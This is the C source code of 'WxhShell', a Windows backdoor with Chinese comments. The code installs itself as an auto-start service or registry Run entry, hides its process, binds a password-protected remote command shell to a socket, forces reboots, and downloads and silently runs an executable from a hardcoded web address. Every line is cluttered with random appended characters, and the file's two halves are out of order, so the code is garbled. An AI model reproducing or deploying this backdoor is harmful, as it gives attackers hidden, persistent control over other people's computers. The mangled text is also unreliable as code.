  case 'd': { x!GHUz*:uz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (hej 3;W  
    if(Boot(SHUTDOWN)) r'xZF~}k"~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QP f*!E  
    else { xo2PxUO  
    closesocket(wsh); heJI5t,  
    ExitThread(0);  nN1\  
    } Yy`\??,  
    break; gV@FT|j!i  
    } - &u]B$  
  // 获取shell }SYR)eE\  
  case 's': { Iko1%GJ1Z  
    CmdShell(wsh); !_CBf#0  
    closesocket(wsh); 3Ob"R%Yo  
    ExitThread(0); vI3L <[W  
    break; i"mN0%   
  } i[1K~yXq:  
  // 退出 a^_\#,}  
  case 'x': { 0nUcUdIf+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F#_JcEE  
    CloseIt(wsh); U@21N3_@_  
    break;  SyFw  
    } y J*`OU#  
  // 离开 21'I-j  
  case 'q': { tE3#Uq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [.Vy  
    closesocket(wsh); Z5 iP1/&D  
    WSACleanup(); |O3wAxc3W  
    exit(1); 9jq}`$S{  
    break; +bpUb0.W  
        } D/QSC]"  
  }  >d-By  
  } ("07t/||  
R6l`IlG`  
  // 提示信息 A;ip V :)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZDEz&{3U;  
} xR;>n[6  
  } kt?G\H!}  
y%%D="  
  return; {FRUB(68b  
} ,aOi:aaZRT  
G J"S*30  
// shell模块句柄 q6DuLFatc*  
int CmdShell(SOCKET sock) &Omo\Oq&W>  
{ lz2B,#  
STARTUPINFO si; 3z7SK Gy  
ZeroMemory(&si,sizeof(si)); D2N| A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K8[vJ7(!|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y,BzBUWK  
PROCESS_INFORMATION ProcessInfo; "B`k  
char cmdline[]="cmd"; o 4G%m>$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -]yM<dP  
  return 0; 8R?X$=$]!.  
} "Bl ]_YPv  
;e,_F/@`  
// 自身启动模式 q.sErr[zc  
int StartFromService(void) tt5t(+5j  
{ 9e|-sn  
typedef struct P^9y0Q  
{ BG ,ln(Vz  
  DWORD ExitStatus; 6S]K@C=r  
  DWORD PebBaseAddress; *IBT!@*Q&  
  DWORD AffinityMask; SSG57N-T  
  DWORD BasePriority; fz/Ee1T\  
  ULONG UniqueProcessId; Y%<y`]I  
  ULONG InheritedFromUniqueProcessId; eS(hLXE!7  
}   PROCESS_BASIC_INFORMATION; < 12ia"}  
?VCdT`6=  
PROCNTQSIP NtQueryInformationProcess; U9w0kcUw#J  
4lrF{S8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wUb5[m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t~vOm   
,U`:IP/L  
  HANDLE             hProcess; ^h wF=  
  PROCESS_BASIC_INFORMATION pbi; 9!'qLO  
f</'=k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >s0A.7,5  
  if(NULL == hInst ) return 0; +xoh=m  
&1nZ%J9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bloe|o!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h8 Wv t's  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `^ FAD   
k;EG28   
  if (!NtQueryInformationProcess) return 0; gbvM2  
_0HCtx ;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R1't W=  
  if(!hProcess) return 0; scr`] tD  
pO]{Y?X:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %[3?vX  
HC1jN8WDY  
  CloseHandle(hProcess); 2ed4xh V  
/%qw-v9qPV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E2.@zY|:  
if(hProcess==NULL) return 0; HJ5 Ktt  
KDTG9KC  
HMODULE hMod; !9 7U2L4  
char procName[255]; ^YVd^<cE  
unsigned long cbNeeded; Buxn!s  
?a)X)#lQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mw{0A\6  
p7SX,kpt>  
  CloseHandle(hProcess); kT7x !7C  
<HYK9{Q  
if(strstr(procName,"services")) return 1; // 以服务启动 LYTx8  
SNLZU%jan  
  return 0; // 注册表启动 sd(Yr6~..  
} Z]L_{=*  
C1V:_-  
// 主模块 (i3V  
int StartWxhshell(LPSTR lpCmdLine) ]IF QD  
{ \/qo2'V j`  
  SOCKET wsl; B!PT|  
BOOL val=TRUE; sGBm[lplz  
  int port=0; A=N &(k  
  struct sockaddr_in door; |4E5x9J  
WA'4y\N  
  if(wscfg.ws_autoins) Install(); UQ X.  
*yx5G-#?  
port=atoi(lpCmdLine); 0cGO*G2Xr  
`5SLo=~  
if(port<=0) port=wscfg.ws_port; i sK_t*  
fRcs@yZnS  
  WSADATA data; f&=WgITa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZnrsJ1f:  
-_%8Q#"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    5yA1<&z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3EY>XS  
  door.sin_family = AF_INET; 30BFwNE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QaVxP1V#U  
  door.sin_port = htons(port);  !' }  
Fa"/p_1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  _%r+?I  
closesocket(wsl); 62-,!N 1-  
return 1; *|Bu7nwg  
} to2#PXf]y  
N~=,RPjq  
  if(listen(wsl,2) == INVALID_SOCKET) { K^z u{`S  
closesocket(wsl); i>*|k]  
return 1; wSV}{9}wr%  
} /JcfAY  
  Wxhshell(wsl); ~8oti4  
  WSACleanup(); 8D H~~by  
y3Z\ Y[  
return 0; -(oFO'Lbg  
6np  
} rT#2'-f  
 L- '{   
// 以NT服务方式启动 k vu SE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pq T+lai)#  
{ ]3KMFV}  
DWORD   status = 0; hRU5CH/!  
  DWORD   specificError = 0xfffffff; xr*%:TwCta  
CjQ)Bu *4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "e-RV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "VIoV u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KfPYH\ 0  
  serviceStatus.dwWin32ExitCode     = 0; `F(ghC  
  serviceStatus.dwServiceSpecificExitCode = 0; tz^2?wO  
  serviceStatus.dwCheckPoint       = 0; ',_E;(  
  serviceStatus.dwWaitHint       = 0; Tr6J+hS  
}CM</  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }EMds3<  
  if (hServiceStatusHandle==0) return; R(^2+mV?  
7A,lQh  
status = GetLastError(); xs}3=&c(  
  if (status!=NO_ERROR) _o+z#Fnz  
{ M+|J;caX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #F^0uUjq  
    serviceStatus.dwCheckPoint       = 0; 78MQoG<  
    serviceStatus.dwWaitHint       = 0; f{HjM? Mb3  
    serviceStatus.dwWin32ExitCode     = status; >N bb0T  
    serviceStatus.dwServiceSpecificExitCode = specificError; o5(~nQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i"_@iN0N  
    return; \@8.BCWK  
  } m) q e  
zbL8 pp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Iq?#kV9)  
  serviceStatus.dwCheckPoint       = 0; qlU"v)Mx  
  serviceStatus.dwWaitHint       = 0; /19ZyQw9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]?<=DHn  
} 6Trtulm  
!H^e$BA  
// 处理NT服务事件,比如:启动、停止 >^Z==1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F,.dC&B  
{ AZ7m=Q97  
switch(fdwControl) ~u.( (GM  
{ +7V4mF!u  
case SERVICE_CONTROL_STOP: }o:sU^Pwa  
  serviceStatus.dwWin32ExitCode = 0; } \?]uNH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2R`dyg  
  serviceStatus.dwCheckPoint   = 0; ?= R C?K  
  serviceStatus.dwWaitHint     = 0; 2mt S\bAF  
  { e h6\y7 9g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + t JEG:  
  } s#* DY  
  return; {aoG60N  
case SERVICE_CONTROL_PAUSE: pIhy3@bY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hs#q 7  
  break; W1\F-:4L@  
case SERVICE_CONTROL_CONTINUE: Ve9*>6i&-4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \s@7pM=(  
  break; 84f~.45  
case SERVICE_CONTROL_INTERROGATE: 0_f6Qrcj  
  break;  N3m~nEj  
}; "Nh}_jO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j&|>Aa${  
} '2:HBJ  
(Wu J9  
// 标准应用程序主函数 [rO TWN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rYfN  
{ y{#9&ct&  
\\(3gB.Gd  
// 获取操作系统版本 B.Y8O^rx  
OsIsNt=GetOsVer(); YcdT/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }1BpIqee  
2PDU(R  
  // 从命令行安装 d8Sr,t+  
  if(strpbrk(lpCmdLine,"iI")) Install(); y3Q2d7G  
n1Fp$9%  
  // 下载执行文件 mhi^zHpa  
if(wscfg.ws_downexe) { 6!A+$"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -oMp@2\e  
  WinExec(wscfg.ws_filenam,SW_HIDE); *t_JR  
} :(TOtrK@  
=C4!h'hz  
if(!OsIsNt) { N#&/d nV  
// 如果时win9x,隐藏进程并且设置为注册表启动 zy\R>4i'#Q  
HideProc(); "eH.<&  
StartWxhshell(lpCmdLine); P>wTp)  
} *V[6ta'  
else *R_mvJlT  
  if(StartFromService()) di|5|bn7  
  // 以服务方式启动 @E !`:/k  
  StartServiceCtrlDispatcher(DispatchTable); Hq!|(  
else S7kZpD $  
  // 普通方式启动 ;0JK>c ]#  
  StartWxhshell(lpCmdLine); (!:+q$#BK  
~fz9AhU8  
return 0; ^b&U0k$R  
} Rdj/n :  
oaGpqjBGQ  
_J ZlXY  
q'CtfmI`r=  
=========================================== yr[HuwU  
3aERfIJyE  
C|g]Y 7  
Jj'dg6QY'  
hMQh?sF/  
k3VRa|Y")  
" t_NnQ4)=  
vE$n0bL2  
#include <stdio.h> >pj)va[Q  
#include <string.h> i7|sVz=  
#include <windows.h> u0i;vO)MNt  
#include <winsock2.h> (>M@Ukam:  
#include <winsvc.h> 4&_|myO&  
#include <urlmon.h> X{-901J1  
R7NE= X4  
#pragma comment (lib, "Ws2_32.lib") qt,;Yxx#^  
#pragma comment (lib, "urlmon.lib") Tq,xW  
"Cn<x\E b  
#define MAX_USER   100 // 最大客户端连接数 o`%;*tx  
#define BUF_SOCK   200 // sock buffer up )JU [  
#define KEY_BUFF   255 // 输入 buffer @3WI7q4  
pUm|e5  
#define REBOOT     0   // 重启 ]]!&>tOlI  
#define SHUTDOWN   1   // 关机 !Jk|ha~r  
Wo, "$Z6B  
#define DEF_PORT   5000 // 监听端口 K;P<c,9X/  
N*6lyFcg  
#define REG_LEN     16   // 注册表键长度 Y:KIaYkk  
#define SVC_LEN     80   // NT服务名长度 %C =?Xhnv  
/PTk296@  
// 从dll定义API P{[@t_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NKRI|'Y,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Og/@w&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *^s^{0Ad  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &A)u!l Ue  
%P HYJc  
// wxhshell配置信息 %?i~`0-:n%  
struct WSCFG { BU=;rz!;  
  int ws_port;         // 监听端口 Z O\x|E!b  
  char ws_passstr[REG_LEN]; // 口令 ~ "stI   
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Z=O+7(r  
  char ws_regname[REG_LEN]; // 注册表键名 ! ~3zp L  
  char ws_svcname[REG_LEN]; // 服务名 "S^ ""5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V 2/?1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  K>S:Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rw]lW;EN<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A#x_>fV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6< @F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MwO`DrV  
zwJK|Sk  
}; NsUP0B}.  
Uk<2XGj  
// default Wxhshell configuration fiZq C?(  
struct WSCFG wscfg={DEF_PORT, Tt+E?C%Y  
    "xuhuanlingzhe", ~=i<O&nai  
    1, a~Nh6 x  
    "Wxhshell", ~xakz BE  
    "Wxhshell", ~%Xs"R1c ,  
            "WxhShell Service", D !5 {CQl  
    "Wrsky Windows CmdShell Service", C)qy=lx%  
    "Please Input Your Password: ", 3.E3}Jz`  
  1, 2Wp)CI<\D  
  "http://www.wrsky.com/wxhshell.exe", g#s hd~e  
  "Wxhshell.exe" z=pGu_`2  
    }; JH`oa1 b  
< +X,oxg  
// 消息定义模块 wgFAPZr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 29kR7[k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w3Z;&sFd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P{%R*hb]  
char *msg_ws_ext="\n\rExit."; )9s 6(Iu  
char *msg_ws_end="\n\rQuit."; kcio]@#  
char *msg_ws_boot="\n\rReboot..."; ,l7',@6Y  
char *msg_ws_poff="\n\rShutdown..."; f,0,:)  
char *msg_ws_down="\n\rSave to "; i[ 40p!~  
*G(ZRj@ 33  
char *msg_ws_err="\n\rErr!"; T)tf!v3v  
char *msg_ws_ok="\n\rOK!"; K</="3 HK  
b|E1>TkY  
char ExeFile[MAX_PATH]; *7UDTgY  
int nUser = 0; -I*NS6  
HANDLE handles[MAX_USER]; %h "%G=:  
int OsIsNt; Y2>0Y3yM  
e%EE|  
SERVICE_STATUS       serviceStatus; W'}^m*F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *Vr;rk  
) ={ H  
// 函数声明 -'~61=PD  
int Install(void); X\HP&;Wd  
int Uninstall(void); M.0N`NmS  
int DownloadFile(char *sURL, SOCKET wsh); f\h|Z*Bv  
int Boot(int flag); = @n`5g  
void HideProc(void); 1,Ji|&Pwf  
int GetOsVer(void); (ioJ G-2u  
int Wxhshell(SOCKET wsl); qY$]^gS  
void TalkWithClient(void *cs); `VD7VX,rp*  
int CmdShell(SOCKET sock); l$DQkbOj  
int StartFromService(void); R~H+.Vh  
int StartWxhshell(LPSTR lpCmdLine); y7/=-~   
CN!~(1v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UMj8<Lq)j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o6c>sh  
&7Lg) PG  
// 数据结构和表定义 BZ}_  
SERVICE_TABLE_ENTRY DispatchTable[] = &.)ST0b4  
{ z%~rQa./$  
{wscfg.ws_svcname, NTServiceMain}, 7xoq:oP-}N  
{NULL, NULL} l$J2|\M6  
}; 9f_Qs4  
qJYEsI2M  
// 自我安装 `z~L0h  
int Install(void) 8;Eg>_cL:  
{ `PI?RU[g*  
  char svExeFile[MAX_PATH]; f}uW(:f  
  HKEY key; ]Yx&  
  strcpy(svExeFile,ExeFile); BfdS3VrZ/  
Xn* >qm  
// 如果是win9x系统,修改注册表设为自启动 8Y&_X0T|  
if(!OsIsNt) { se`^g ,]P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ql(~3/kA_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )bR`uV9<  
  RegCloseKey(key); [6cf$FS9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )A=&3Ui)ab  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z-G*:DfgH  
  RegCloseKey(key); 1CA% nqlng  
  return 0; }x(Ewr  
    } 1}"Prx-  
  } Bl/Z _@  
} #bmbK{[  
else { (Qj;B)  
k5o{mWI b  
// 如果是NT以上系统,安装为系统服务 }^]TUe@a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pfF2!`7pI  
if (schSCManager!=0) !G~`5?CvE  
{ #kRt\Fzq  
  SC_HANDLE schService = CreateService 7O\Qxc\  
  ( CjZIBMGc  
  schSCManager, 6![}Jvu>  
  wscfg.ws_svcname, $J!WuOz4^i  
  wscfg.ws_svcdisp, lOu&4Kq{g  
  SERVICE_ALL_ACCESS, [VY265)g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !1[ZfTX^a  
  SERVICE_AUTO_START, U}^`R,C  
  SERVICE_ERROR_NORMAL, -AZ\u\xCB  
  svExeFile, `*w!S8}m;  
  NULL, CQ/ps,~M  
  NULL, %{ +>\0x  
  NULL, `IH*~d]  
  NULL, ~__rI-/_  
  NULL ).8NZ Aj  
  ); !(#d 7R  
  if (schService!=0) NXSjN~aG2  
  { (=t41-l  
  CloseServiceHandle(schService); |0xP'(  
  CloseServiceHandle(schSCManager); OXD*ZKi8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BT* {&'\/  
  strcat(svExeFile,wscfg.ws_svcname); VJOB+CKE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y20T$5{#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]qO*(m:}o  
  RegCloseKey(key); OSIf>1  
  return 0; t 4>\ ;  
    } %eW2w@8]  
  } ^17i98w  
  CloseServiceHandle(schSCManager); 't'2z  
} o>e-M  
} yt1dYF0Xq  
mV#U=zqb!S  
return 1; \VHRI<$+5  
} 7[It  
 .F/0:)  
// 自我卸载 9a0|iy  
int Uninstall(void) UaXWHCm`  
{ X{tfF!+iy  
  HKEY key; rL|9Xru  
.9@y*_ 9  
if(!OsIsNt) { g![?P"i^t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hl=M{)q@   
  RegDeleteValue(key,wscfg.ws_regname); p61F@=EL  
  RegCloseKey(key); @f`s%o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iG+=whvL  
  RegDeleteValue(key,wscfg.ws_regname); H/$oGhvl  
  RegCloseKey(key); '.IR|~Y  
  return 0; !]l;n Fd  
  } e7M6|6nb  
} qv)%)n  
} g [c ^7  
else { {"mb)zr  
>N-l2?rE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ".sRi  
if (schSCManager!=0) kS< 9cy[O  
{ 'DTq<`~?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `Tc"a_p9t  
  if (schService!=0) Y%Tm `$^V  
  { j6#Vwcr  
  if(DeleteService(schService)!=0) { To =JE}jzo  
  CloseServiceHandle(schService); =PYS5\k  
  CloseServiceHandle(schSCManager); CSlPrx2\  
  return 0; |Pq z0n=v  
  } $ Qcr8~+a  
  CloseServiceHandle(schService); q*7:L  
  } z, c=."<z  
  CloseServiceHandle(schSCManager); H-t"Z}  
} s7s@!~  
} lX/:e=  
wG X\ub#!  
return 1; Y{OnW98  
} Tzr'3m_  
:&BE-f  
// 从指定url下载文件 F5%IsAH  
int DownloadFile(char *sURL, SOCKET wsh) AYv7- !Yk  
{ Ypwn@?xeP  
  HRESULT hr; ]:.9:RmEV  
char seps[]= "/"; x\5v^$  
char *token; %s ">:  
char *file; @o>3 Bv.  
char myURL[MAX_PATH]; #PQhgli  
char myFILE[MAX_PATH]; ky I~  
>Do P2]  
strcpy(myURL,sURL); yeIc Q%  
  token=strtok(myURL,seps); li9>zjz  
  while(token!=NULL) %H3 M0J2L  
  { 7.bPPr&  
    file=token; [WO>}rGw4  
  token=strtok(NULL,seps); ')>D*e  
  } _zDf8hy  
/A93mY[  
GetCurrentDirectory(MAX_PATH,myFILE); Uf#9y182*c  
strcat(myFILE, "\\"); zXML<?w  
strcat(myFILE, file); O6 n]l  
  send(wsh,myFILE,strlen(myFILE),0); Xd5uF/w  
send(wsh,"...",3,0); M`H@ % M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hE;BT>_dn  
  if(hr==S_OK) G-5ezVli  
return 0; `Hd~H  
else $fG~;`T  
return 1; 4nKlW_{,  
o "1X8v  
} WT jy"p*  
g[(Eh?]Sc  
// 系统电源模块 z4 KKt&  
int Boot(int flag) rkn'1M&u  
{ N `[ ?db-%  
  HANDLE hToken; Y7<(_p7  
  TOKEN_PRIVILEGES tkp; #sM*<2vj  
DhN<e7c`  
  if(OsIsNt) { *H~&hs>k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3M5wF6nY[[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  I}u&iV`  
    tkp.PrivilegeCount = 1; qkBCI,X_Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GuKiNYI_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U &RZx&W  
if(flag==REBOOT) { J }|6m9k!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i=jY l  
  return 0; @.} @K  
} m.Ki4NUm  
else { lQ#='Jqfp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !7Nz_d~n  
  return 0; W|\$}@>  
} Ca ?d8  
  } FTWjIa/[  
  else { T9bUt|  
if(flag==REBOOT) { lsKQZ@LN`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,AwX7gx22  
  return 0; x+EEMv3u:  
} 8dwKJ3*.  
else { IGF25-7B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f0+vk'Z  
  return 0; Lmw4  
} _ qU-@Y$  
} <KFl4A~  
<aQ5chf7  
return 1; I-m Bj8^;  
} '3fN2[(  
~nb1c:F  
// win9x进程隐藏模块 TNlOj a:  
void HideProc(void) lPw`KW  
{ k(M(]y_  
@4=Az1W*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {!^0j{T  
  if ( hKernel != NULL ) *M'/z=V?%  
  { dP=,<H#]m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V#X<Yt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >DR$}{IV  
    FreeLibrary(hKernel); WJy\{YAG  
  } j[Gg[7q{y  
|z?c>.  
return; fT{%zJU  
} a(lmm@;V<  
3L9@ELY4  
// 获取操作系统版本 /6:qmh2  
int GetOsVer(void) :D~J(Y2  
{ @.L/HXu-P  
  OSVERSIONINFO winfo; UmG|_7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BbhC 0q"J  
  GetVersionEx(&winfo); .yB{+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RcOfesW o  
  return 1; #U.6HBuQa  
  else S=G2%u!;  
  return 0; 1v 4M*  
} -|I_aOC@  
h_6c9VI  
// 客户端句柄模块 pd-I^Q3-  
int Wxhshell(SOCKET wsl) c^stfFE&  
{ ydMSL25<+  
  SOCKET wsh; K9ek  
  struct sockaddr_in client; @a,} k<@E  
  DWORD myID; 1NkJs&  
.mplML0oW  
  while(nUser<MAX_USER) u{S"NEc  
{ 8khIy-9-'  
  int nSize=sizeof(client); -PTfsQk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); } ^2'@y!(  
  if(wsh==INVALID_SOCKET) return 1; onl,R{,`0  
a#a n+JY3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5,?^SK|'x  
if(handles[nUser]==0) B`:l;<&jX  
  closesocket(wsh); f o idneus  
else TQth"Cv2:  
  nUser++; cp6I]#X  
  } \- 8aTF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O=oIkvg  
. f!dH  
  return 0; L;v.X'f  
} 51xf.iB  
|)S*RQb\  
// 关闭 socket >4J(\'}m|  
void CloseIt(SOCKET wsh) xtut S  
{ a\}` f=T  
closesocket(wsh); *Tr9pq%m  
nUser--; B +MnT{  
ExitThread(0); KxDp+]N]  
} A Wd,qldv  
Cv [1HO<  
// 客户端请求句柄 nPk&/H%5hn  
void TalkWithClient(void *cs) +'wO:E1( w  
{ `><E J'h  
&0]5zQ  
  SOCKET wsh=(SOCKET)cs; vRH2[{KQ9  
  char pwd[SVC_LEN]; qB3E  
  char cmd[KEY_BUFF]; *MQ`&;Qa,  
char chr[1]; `1uGU[{x  
int i,j; k"6&&  
R?M>uaxn  
  while (nUser < MAX_USER) { L_o/fTz4  
=MT'e,T  
if(wscfg.ws_passstr) { '$ [%x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =|dHD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V>D}z8w7  
  //ZeroMemory(pwd,KEY_BUFF); ,&L}^Up  
      i=0; y9.?5#aL  
  while(i<SVC_LEN) { a'A<'(yv  
D@kf^1G  
  // 设置超时 ;=WwJ Np~  
  fd_set FdRead; '4CD }  
  struct timeval TimeOut; KDb`g}1Q  
  FD_ZERO(&FdRead); 0 {  
  FD_SET(wsh,&FdRead); 3-'3w,  
  TimeOut.tv_sec=8; ]CPF7Hf  
  TimeOut.tv_usec=0; Ss_}@p ^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qae|?z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MGY0^6yK5  
@8$z2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u60RuP&  
  pwd=chr[0]; F|@\IVEB]  
  if(chr[0]==0xd || chr[0]==0xa) { Wg20H23XW  
  pwd=0; '.C#"nY>1  
  break; U uC-R)  
  } vmh>|N4a7  
  i++; 3gnO)"$  
    } RC?vU  
nLx|$=W  
  // 如果是非法用户,关闭 socket xsiJI1/68  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z{gm4YV  
} ;#9ioG x  
%> 5>wP   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _?bO /y_y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ubgn^+AI  
|>Fz:b d  
while(1) { V7.g,  
u:mndTpB6x  
  ZeroMemory(cmd,KEY_BUFF); M93*"jA  
g@T}h[  
      // 自动支持客户端 telnet标准   #2Iag' 4T  
  j=0; SPXv i0Jg  
  while(j<KEY_BUFF) { K$w;|UJc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `5!AHQ/  
  cmd[j]=chr[0]; fI1 9p Q  
  if(chr[0]==0xa || chr[0]==0xd) { H8g%h}6h  
  cmd[j]=0; 6P:fM Y  
  break; ]"~ x  
  } PQa0m)H@  
  j++; tY: Nq*@  
    } zWH)\>X59  
_,IjB/PR(  
  // 下载文件 ib~i ^_p  
  if(strstr(cmd,"http://")) { lQBE q"7$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7?{y&sf  
  if(DownloadFile(cmd,wsh)) @$'pMg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J_;*@mW  
  else MTKNIv|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k>7bPR5Mw  
  } ?5/7 @V  
  else { vB}c6A4'U  
r7L.W  
    switch(cmd[0]) { 1z-A3a/-  
